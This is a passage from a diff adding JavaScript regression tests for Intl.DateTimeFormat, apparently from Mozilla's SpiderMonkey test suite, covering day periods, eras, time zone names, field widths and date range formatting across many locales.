+ },
+];
+
+for (let {date, options, locales} of tests) {
+ for (let [locale, parts] of Object.entries(locales)) {
+ let dtf = new Intl.DateTimeFormat(locale, options);
+
+ assertEq(dtf.format(date), parts.map(({value}) => value).join(""),
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+
+ assertDeepEq(dtf.formatToParts(date), parts,
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js b/js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js
new file mode 100644
index 0000000000..203ba03766
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js
@@ -0,0 +1,160 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Tests using various locales to cover all day period types:
+// "midnight", "noon", "morning1", "morning2", "afternoon1", "afternoon2",
+// "evening1", "evening2", "night1", "night2".
+
+const tests = [
+ {
+ // ICU doesn't support "midnight" and instead uses "night1" resp. "night2".
+ // ICU bug: https://unicode-org.atlassian.net/projects/ICU/issues/ICU-12278
+ date: new Date("2019-01-01T00:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "nachts", short: "nachts", long: "nachts" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜中", short: "夜中", long: "夜中" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T03:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "nachts", short: "nachts", long: "nachts" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜中", short: "夜中", long: "夜中" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T04:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "nachts", short: "nachts", long: "nachts" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T05:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "morgens", short: "morgens", long: "morgens" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T06:00:00"),
+ locales: {
+ en: { narrow: "in the morning", short: "in the morning", long: "in the morning" },
+ de: { narrow: "morgens", short: "morgens", long: "morgens" },
+ th: { narrow: "เช้า", short: "ในตอนเช้า", long: "ในตอนเช้า" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T10:00:00"),
+ locales: {
+ en: { narrow: "in the morning", short: "in the morning", long: "in the morning" },
+ de: { narrow: "vorm.", short: "vorm.", long: "vormittags" },
+ th: { narrow: "เช้า", short: "ในตอนเช้า", long: "ในตอนเช้า" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ locales: {
+ en: { narrow: "n", short: "noon", long: "noon" },
+ de: { narrow: "mittags", short: "mittags", long: "mittags" },
+ th: { narrow: "เที่ยง", short: "เที่ยง", long: "เที่ยง" },
+ ja: { narrow: "正午", short: "正午", long: "正午" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T13:00:00"),
+ locales: {
+ en: { narrow: "in the afternoon", short: "in the afternoon", long: "in the afternoon" },
+ de: { narrow: "nachm.", short: "nachm.", long: "nachmittags" },
+ th: { narrow: "บ่าย", short: "บ่าย", long: "บ่าย" },
+ ja: { narrow: "昼", short: "昼", long: "昼" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T15:00:00"),
+ locales: {
+ en: { narrow: "in the afternoon", short: "in the afternoon", long: "in the afternoon" },
+ de: { narrow: "nachm.", short: "nachm.", long: "nachmittags" },
+ th: { narrow: "บ่าย", short: "บ่าย", long: "บ่าย" },
+ ja: { narrow: "昼", short: "昼", long: "昼" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T16:00:00"),
+ locales: {
+ en: { narrow: "in the afternoon", short: "in the afternoon", long: "in the afternoon" },
+ de: { narrow: "nachm.", short: "nachm.", long: "nachmittags" },
+ th: { narrow: "เย็น", short: "ในตอนเย็น", long: "ในตอนเย็น" },
+ ja: { narrow: "夕方", short: "夕方", long: "夕方" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T18:00:00"),
+ locales: {
+ en: { narrow: "in the evening", short: "in the evening", long: "in the evening" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "ค่ำ", short: "ค่ำ", long: "ค่ำ" },
+ ja: { narrow: "夕方", short: "夕方", long: "夕方" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T19:00:00"),
+ locales: {
+ en: { narrow: "in the evening", short: "in the evening", long: "in the evening" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "ค่ำ", short: "ค่ำ", long: "ค่ำ" },
+ ja: { narrow: "夜", short: "夜", long: "夜" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T21:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜", short: "夜", long: "夜" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T22:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜", short: "夜", long: "夜" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T23:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜中", short: "夜中", long: "夜中" },
+ }
+ },
+];
+
+for (let {date, locales} of tests) {
+ for (let [locale, formats] of Object.entries(locales)) {
+ for (let [dayPeriod, expected] of Object.entries(formats)) {
+ let dtf = new Intl.DateTimeFormat(locale, {dayPeriod});
+
+ assertEq(dtf.format(date), expected,
+ `locale=${locale}, date=${date}, dayPeriod=${dayPeriod}`);
+ assertDeepEq(dtf.formatToParts(date), [{type: "dayPeriod", value: expected}]);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/day-period.js b/js/src/tests/non262/Intl/DateTimeFormat/day-period.js
new file mode 100644
index 0000000000..486970e519
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/day-period.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Weekday, DayPeriod, Literal
+} = DateTimeFormatParts;
+
+const tests = [
+ // https://unicode-org.atlassian.net/browse/ICU-20741
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "long", weekday: "long", },
+ locales: {
+ "en-001": [Weekday("Tuesday"), Literal(", "), DayPeriod("noon")],
+ },
+ },
+
+ // https://unicode-org.atlassian.net/browse/ICU-20740
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "narrow", weekday: "long", },
+ locales: {
+ "bs-Cyrl": [Weekday("уторак"), Literal(" "), DayPeriod("подне")],
+ },
+ },
+];
+
+for (let {date, options, locales} of tests) {
+ for (let [locale, parts] of Object.entries(locales)) {
+ let dtf = new Intl.DateTimeFormat(locale, options);
+
+ assertEq(dtf.format(date), parts.map(({value}) => value).join(""),
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+
+ assertDeepEq(dtf.formatToParts(date), parts,
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/era.js b/js/src/tests/non262/Intl/DateTimeFormat/era.js
new file mode 100644
index 0000000000..716fa2cf0d
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/era.js
@@ -0,0 +1,245 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Era, Year, Month, Day, Literal
+} = DateTimeFormatParts;
+
+const tests = {
+ "en": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Month("1"), Literal("/"), Day("1"), Literal("/"), Year("1970"), Literal(" "), Era("AD")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Month("1"), Literal("/"), Day("1"), Literal("/"), Year("1971"), Literal(" "), Era("BC")
+ ],
+ },
+ ],
+ },
+ ],
+ "en-001": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("1"), Literal("/"), Month("1"), Literal("/"), Year("1970"), Literal(" "), Era("AD")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("1"), Literal("/"), Month("1"), Literal("/"), Year("1971"), Literal(" "), Era("BC")
+ ],
+ },
+ ],
+ },
+ ],
+ "de": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("01"), Literal("."), Month("01"), Literal("."), Year("1970"), Literal(" "), Era("n. Chr.")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("01"), Literal("."), Month("01"), Literal("."), Year("1971"), Literal(" "), Era("v. Chr.")
+ ],
+ },
+ ],
+ },
+ ],
+ "fr": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("01"), Literal("/"), Month("01"), Literal("/"), Year("1970"), Literal(" "), Era("ap. J.-C.")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("01"), Literal("/"), Month("01"), Literal("/"), Year("1971"), Literal(" "), Era("av. J.-C.")
+ ],
+ },
+ ],
+ },
+ ],
+ "es": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("1"), Literal("/"), Month("1"), Literal("/"), Year("1970"), Literal(" "), Era("d. C.")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("1"), Literal("/"), Month("1"), Literal("/"), Year("1971"), Literal(" "), Era("a. C.")
+ ],
+ },
+ ],
+ },
+ ],
+ "nl": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("1"), Literal("/"), Month("1"), Literal("/"), Year("1970"), Literal(" "), Era("n.Chr.")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("1"), Literal("/"), Month("1"), Literal("/"), Year("1971"), Literal(" "), Era("v.Chr.")
+ ],
+ },
+ ],
+ },
+ ],
+ "ja": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Era("西暦"), Year("1970"), Literal("/"), Month("1"), Literal("/"), Day("1")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Era("紀元前"), Year("1971"), Literal("/"), Month("1"), Literal("/"), Day("1")
+ ],
+ },
+ ],
+ },
+ ],
+ "zh": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Era("公元"), Literal(" "), Year("1970"), Literal("-"), Month("01"), Literal("-"), Day("01")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Era("公元前"), Literal(" "), Year("1971"), Literal("-"), Month("01"), Literal("-"), Day("01")
+ ],
+ },
+ ],
+ },
+ ],
+ "ar": [
+ {
+ options: {
+ day: "numeric",
+ month: "numeric",
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC",
+ },
+ dates: [
+ {
+ date: new Date("1970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("٠١"), Literal("-"), Month("٠١"), Literal("-"), Year("١٩٧٠"), Literal(" "), Era("م")
+ ],
+ },
+ {
+ date: new Date("-001970-01-01T00:00:00.000Z"),
+ parts: [
+ Day("٠١"), Literal("-"), Month("٠١"), Literal("-"), Year("١٩٧١"), Literal(" "), Era("ق.م")
+ ],
+ },
+ ],
+ },
+ ],
+};
+
+for (let [locale, inputs] of Object.entries(tests)) {
+ for (let {options, dates} of inputs) {
+ let dtf = new Intl.DateTimeFormat(locale, options);
+ for (let {date, parts} of dates) {
+ assertParts(dtf, date, parts);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/extended-time-zone-names.js b/js/src/tests/non262/Intl/DateTimeFormat/extended-time-zone-names.js
new file mode 100644
index 0000000000..12090c4119
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/extended-time-zone-names.js
@@ -0,0 +1,124 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const tests = {
+ "America/Los_Angeles": {
+ date: Date.UTC(2021, 5-1, 20, 12, 0, 0),
+ timeZoneName: "longGeneric",
+ locales: {
+ "en": "5/20/2021, Pacific Time",
+ "de": "20.5.2021, Nordamerikanische Westküstenzeit",
+ "fr": "20/05/2021 à heure du Pacifique nord-américain",
+ "ar": "٢٠‏/٥‏/٢٠٢١ توقيت المحيط الهادي",
+ "th": "20/5/2564 เวลาแปซิฟิกในอเมริกาเหนือ",
+ "zh": "2021/5/20 北美太平洋时间",
+ "ja": "2021/5/20 アメリカ太平洋時間",
+ }
+ },
+ "America/Los_Angeles": {
+ date: Date.UTC(2021, 5-1, 20, 12, 0, 0),
+ timeZoneName: "shortGeneric",
+ locales: {
+ "en": "5/20/2021, PT",
+ "de": "20.5.2021, Los Angeles Zeit",
+ "fr": "20/05/2021 à heure : Los Angeles",
+ "ar": "٢٠‏/٥‏/٢٠٢١ توقيت Los Angeles",
+ "th": "20/5/2564 เวลาLos Angeles",
+ "zh": "2021/5/20 Los Angeles时间",
+ "ja": "2021/5/20 Los Angeles時間",
+ }
+ },
+ "America/Los_Angeles": {
+ date: Date.UTC(2021, 5-1, 20, 12, 0, 0),
+ timeZoneName: "longOffset",
+ locales: {
+ "en": "5/20/2021, GMT-07:00",
+ "de": "20.5.2021, GMT-07:00",
+ "fr": "20/05/2021 à UTC−07:00",
+ "ar": "٢٠‏/٥‏/٢٠٢١ غرينتش-٠٧:٠٠",
+ "th": "20/5/2564 GMT-07:00",
+ "zh": "2021/5/20 GMT-07:00",
+ "ja": "2021/5/20 GMT-07:00",
+ }
+ },
+ "America/Los_Angeles": {
+ date: Date.UTC(2021, 5-1, 20, 12, 0, 0),
+ timeZoneName: "shortOffset",
+ locales: {
+ "en": "5/20/2021, GMT-7",
+ "de": "20.5.2021, GMT-7",
+ "fr": "20/05/2021 UTC−7",
+ "ar": "٢٠‏/٥‏/٢٠٢١، غرينتش-٧",
+ "th": "20/5/2564 GMT-7",
+ "zh": "2021/5/20 GMT-7",
+ "ja": "2021/5/20 GMT-7",
+ }
+ },
+ "Europe/Berlin": {
+ date: Date.UTC(2021, 5-1, 20, 12, 0, 0),
+ timeZoneName: "longGeneric",
+ locales: {
+ "en": "5/20/2021, Central European Time",
+ "de": "20.5.2021, Mitteleuropäische Zeit",
+ "fr": "20/05/2021 à heure d’Europe centrale",
+ "ar": "٢٠‏/٥‏/٢٠٢١ توقيت وسط أوروبا",
+ "th": "20/5/2564 เวลายุโรปกลาง",
+ "zh": "2021/5/20 中欧时间",
+ "ja": "2021/5/20 中央ヨーロッパ時間",
+ }
+ },
+ "Europe/Berlin": {
+ date: Date.UTC(2021, 5-1, 20, 12, 0, 0),
+ timeZoneName: "shortGeneric",
+ locales: {
+ "en": "5/20/2021, Germany Time",
+ "de": "20.5.2021, MEZ",
+ "fr": "20/05/2021 heure : Allemagne",
+ "ar": "٢٠‏/٥‏/٢٠٢١، توقيت ألمانيا",
+ "th": "20/5/2564 เวลาเยอรมนี",
+ "zh": "2021/5/20 德国时间",
+ "ja": "2021/5/20 ドイツ時間",
+ }
+ },
+ "Africa/Monrovia": {
+ date: Date.UTC(1971, 12-1, 6, 12, 0, 0),
+ timeZoneName: "longOffset",
+ locales: {
+ "en": "12/6/1971, GMT-00:44:30",
+ "de": "6.12.1971, GMT-00:44:30",
+ "fr": "06/12/1971 UTC−00:44:30",
+ "ar": "٦‏/١٢‏/١٩٧١ غرينتش-٠٠:٤٤:٣٠",
+ "th": "6/12/2514 GMT-00:44:30",
+ "zh": "1971/12/6 GMT-00:44:30",
+ "ja": "1971/12/6 GMT-00:44:30",
+ }
+ },
+ "Africa/Monrovia": {
+ date: Date.UTC(1971, 12-1, 6, 12, 0, 0),
+ timeZoneName: "shortOffset",
+ locales: {
+ "en": "12/6/1971, GMT-0:44:30",
+ "de": "6.12.1971, GMT-0:44:30",
+ "fr": "06/12/1971 UTC−0:44:30",
+ "ar": "٦‏/١٢‏/١٩٧١، غرينتش-٠:٤٤:٣٠",
+ "th": "6/12/2514 GMT-0:44:30",
+ "zh": "1971/12/6 GMT-0:44:30",
+ "ja": "1971/12/6 GMT-0:44:30",
+ }
+ },
+};
+
+for (let [timeZone, {timeZoneName, date, locales}] of Object.entries(tests)) {
+ for (let [locale, expected] of Object.entries(locales)) {
+ let dtf = new Intl.DateTimeFormat(locale, {timeZone, timeZoneName});
+ assertEq(dtf.format(date), expected);
+
+ let parts = dtf.formatToParts(date);
+ assertEq(parts.map(p => p.value).join(""), expected);
+ assertEq(parts.filter(p => p.type === "timeZoneName").length, 1);
+
+ assertEq(dtf.resolvedOptions().timeZoneName, timeZoneName);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/field-widths.js b/js/src/tests/non262/Intl/DateTimeFormat/field-widths.js
new file mode 100644
index 0000000000..789d0fdaa6
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/field-widths.js
@@ -0,0 +1,225 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const date = new Date(Date.UTC(2021, 1-1, 2, 3, 4, 5, 678));
+
+const tests = [
+ // Standalone 'hour' field.
+ {
+ options: {
+ hour: "numeric",
+ },
+ locales: {
+ "en": "3 AM",
+ "de": "03 Uhr",
+ },
+ },
+ {
+ options: {
+ hour: "2-digit",
+ },
+ locales: {
+ "en": "03 AM",
+ "de": "03 Uhr",
+ },
+ },
+
+ // Standalone 'minute' field.
+ {
+ options: {
+ minute: "numeric",
+ },
+ locales: {
+ "en": "4",
+ "de": "4",
+ },
+ },
+ {
+ options: {
+ minute: "2-digit",
+ },
+ locales: {
+ "en": "04",
+ "de": "04",
+ },
+ },
+
+ // Standalone 'second' field.
+ {
+ options: {
+ second: "numeric",
+ },
+ locales: {
+ "en": "5",
+ "de": "5",
+ },
+ },
+ {
+ options: {
+ second: "2-digit",
+ },
+ locales: {
+ "en": "05",
+ "de": "05",
+ },
+ },
+
+ // 'hour' and 'minute' fields with all possible field width combinations.
+ {
+ options: {
+ hour: "numeric",
+ minute: "numeric",
+ },
+ locales: {
+ "en": "3:04 AM",
+ "de": "03:04",
+ },
+ },
+ {
+ options: {
+ hour: "numeric",
+ minute: "2-digit",
+ },
+ locales: {
+ "en": "3:04 AM",
+ "de": "03:04",
+ },
+ },
+ {
+ options: {
+ hour: "2-digit",
+ minute: "numeric",
+ },
+ locales: {
+ "en": "03:04 AM",
+ "de": "03:04",
+ },
+ },
+ {
+ options: {
+ hour: "2-digit",
+ minute: "2-digit",
+ },
+ locales: {
+ "en": "03:04 AM",
+ "de": "03:04",
+ },
+ },
+
+ // 'minute' and 'second' fields with all possible field width combinations.
+ {
+ options: {
+ minute: "numeric",
+ second: "numeric",
+ },
+ locales: {
+ "en": "04:05",
+ "de": "04:05",
+ },
+ },
+ {
+ options: {
+ minute: "numeric",
+ second: "2-digit",
+ },
+ locales: {
+ "en": "04:05",
+ "de": "04:05",
+ },
+ },
+ {
+ options: {
+ minute: "2-digit",
+ second: "numeric",
+ },
+ locales: {
+ "en": "04:05",
+ "de": "04:05",
+ },
+ },
+ {
+ options: {
+ minute: "2-digit",
+ second: "2-digit",
+ },
+ locales: {
+ "en": "04:05",
+ "de": "04:05",
+ },
+ },
+
+ // Test 'hour' and 'minute' with 'hourCycle=h12'.
+ {
+ options: {
+ hour: "numeric",
+ minute: "numeric",
+ hourCycle: "h12",
+ },
+ locales: {
+ "en": "3:04 AM",
+ "de": "3:04 AM",
+ },
+ },
+ {
+ options: {
+ hour: "2-digit",
+ minute: "2-digit",
+ hourCycle: "h12",
+ },
+ locales: {
+ "en": "03:04 AM",
+ "de": "03:04 AM",
+ },
+ },
+
+ // Test 'hour' and 'minute' with 'hourCycle=h23'.
+ {
+ options: {
+ hour: "numeric",
+ minute: "numeric",
+ hourCycle: "h23",
+ },
+ locales: {
+ "en": "03:04",
+ "de": "03:04",
+ },
+ },
+ {
+ options: {
+ hour: "2-digit",
+ minute: "2-digit",
+ hourCycle: "h23",
+ },
+ locales: {
+ "en": "03:04",
+ "de": "03:04",
+ },
+ },
+];
+
+for (let {options, locales} of tests) {
+ for (let [locale, expected] of Object.entries(locales)) {
+ let dtf = new Intl.DateTimeFormat(locale, {timeZone: "UTC", ...options});
+ assertEq(dtf.format(date), expected);
+ }
+}
+
+const toLocaleTests = {
+ "en": "1/2/2021, 3:04:05 AM",
+ "de": "2.1.2021, 03:04:05",
+};
+
+for (let [locale, expected] of Object.entries(toLocaleTests)) {
+ assertEq(date.toLocaleString(locale, {timeZone: "UTC"}), expected);
+}
+
+const toLocaleTimeTests = {
+ "en": "3:04:05 AM",
+ "de": "03:04:05",
+};
+
+for (let [locale, expected] of Object.entries(toLocaleTimeTests)) {
+ assertEq(date.toLocaleTimeString(locale, {timeZone: "UTC"}), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/format.js b/js/src/tests/non262/Intl/DateTimeFormat/format.js
new file mode 100644
index 0000000000..224d19cfa8
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/format.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+// Always use UTC to avoid dependencies on test environment.
+
+var format;
+var date = Date.UTC(2012, 11, 12, 3, 0, 0);
+var longFormatOptions = {timeZone: "UTC",
+ year: "numeric", month: "long", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric"};
+
+// Locale en-US; default options.
+format = new Intl.DateTimeFormat("en-us", {timeZone: "UTC"});
+assertEq(format.format(date), "12/12/2012");
+
+// Locale th-TH; default options.
+// Thailand uses the Buddhist calendar.
+format = new Intl.DateTimeFormat("th-th", {timeZone: "UTC"});
+assertEq(format.format(date), "12/12/2555");
+
+// Locale th-TH; long format, Thai digits.
+format = new Intl.DateTimeFormat("th-th-u-nu-thai", longFormatOptions);
+assertEq(format.format(date), "๑๒ ธันวาคม ๒๕๕๕ เวลา ๐๓:๐๐:๐๐");
+
+// Locale ja-JP; long format.
+format = new Intl.DateTimeFormat("ja-jp", longFormatOptions);
+assertEq(format.format(date), "2012年12月12日 3:00:00");
+
+// Locale ar-MA; long format, Islamic civilian calendar.
+format = new Intl.DateTimeFormat("ar-ma-u-ca-islamicc", longFormatOptions);
+assertEq(format.format(date), "28 محرم 1434 هـ في 03:00:00");
+
+// Locale en-IE: timeZoneName for crash test
+format = new Intl.DateTimeFormat("en-IE", {timeZone: "UTC", timeZoneName: "short"});
+assertEq(format.format(date), "12/12/2012, UTC");
+
+// Test the .name property of the "format" getter.
+var desc = Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format");
+assertEq(desc !== undefined, true);
+assertEq(typeof desc.get, "function");
+assertEq(desc.get.name, "get format");
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js
new file mode 100644
index 0000000000..9356577b47
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure formatRange() uses a proleptic Gregorian calendar.
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20705
+
+let dtf = new Intl.DateTimeFormat("en", {timeZone: "UTC"});
+
+// The Gregorian calendar was first introduced in 15 October 1582.
+const firstGregorian = new Date("1582-10-15");
+assertEq(dtf.formatRange(firstGregorian, firstGregorian), dtf.format(firstGregorian));
+
+// To deal with the ten days' difference between the Julian and the Gregorian calendar, some days
+// were skipped, so that 4 October 1582 was followed by 15 October 1582.
+const lastJulian = new Date("1582-10-04");
+assertEq(dtf.formatRange(lastJulian, lastJulian), dtf.format(lastJulian));
+
+function rangePart(source, parts) {
+ return parts.filter(x => x.source === source).map(x => x.value).join("");
+}
+
+// Test with non-empty range.
+assertEq(rangePart("startRange", dtf.formatRangeToParts(lastJulian, firstGregorian)),
+ dtf.format(lastJulian));
+assertEq(rangePart("endRange", dtf.formatRangeToParts(lastJulian, firstGregorian)),
+ dtf.format(firstGregorian));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js
new file mode 100644
index 0000000000..7921f502cc
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js
@@ -0,0 +1,450 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test formatRange supports the different hour-cycle options.
+//
+// ICU bugs:
+// https://unicode-org.atlassian.net/browse/ICU-21154
+// https://unicode-org.atlassian.net/browse/ICU-21155
+// https://unicode-org.atlassian.net/browse/ICU-21156
+// https://unicode-org.atlassian.net/browse/ICU-21342
+// https://unicode-org.atlassian.net/browse/ICU-21343
+
+// Test locales which default to a 12-hour and a 24-hour clock.
+
+let tests = {
+ "en": [
+ // Midnight to morning.
+ {
+ start: 0,
+ end: 10,
+ data: [
+ "12 – 10 AM",
+ "0 – 10 AM",
+ "12 – 10 AM",
+ "00 – 10",
+ "24 – 10",
+ ],
+ },
+ // Midnight to noon.
+ {
+ start: 0,
+ end: 12,
+ data: [
+ "12 AM – 12 PM",
+ "0 AM – 0 PM",
+ "12 AM – 12 PM",
+ "00 – 12",
+ "24 – 12",
+ ],
+ },
+ // Midnight to evening.
+ {
+ start: 0,
+ end: 22,
+ data: [
+ "12 AM – 10 PM",
+ "0 AM – 10 PM",
+ "12 AM – 10 PM",
+ "00 – 22",
+ "24 – 22",
+ ],
+ },
+ // Midnight to midnight.
+ {
+ start: 0,
+ end: 24,
+ data: [
+ "1/1/1970, 12 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 0 AM – 1/2/1970, 0 AM",
+ "1/1/1970, 12 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 00 – 1/2/1970, 00",
+ "1/1/1970, 24 – 1/2/1970, 24",
+ ],
+ },
+
+ // Morning to morning.
+ {
+ start: 1,
+ end: 10,
+ data: [
+ "1 – 10 AM",
+ "1 – 10 AM",
+ "1 – 10 AM",
+ "01 – 10",
+ "01 – 10",
+ ],
+ },
+ // Morning to noon.
+ {
+ start: 1,
+ end: 12,
+ data: [
+ "1 AM – 12 PM",
+ "1 AM – 0 PM",
+ "1 AM – 12 PM",
+ "01 – 12",
+ "01 – 12",
+ ],
+ },
+ // Morning to evening.
+ {
+ start: 1,
+ end: 22,
+ data: [
+ "1 AM – 10 PM",
+ "1 AM – 10 PM",
+ "1 AM – 10 PM",
+ "01 – 22",
+ "01 – 22",
+ ],
+ },
+ // Morning to midnight.
+ {
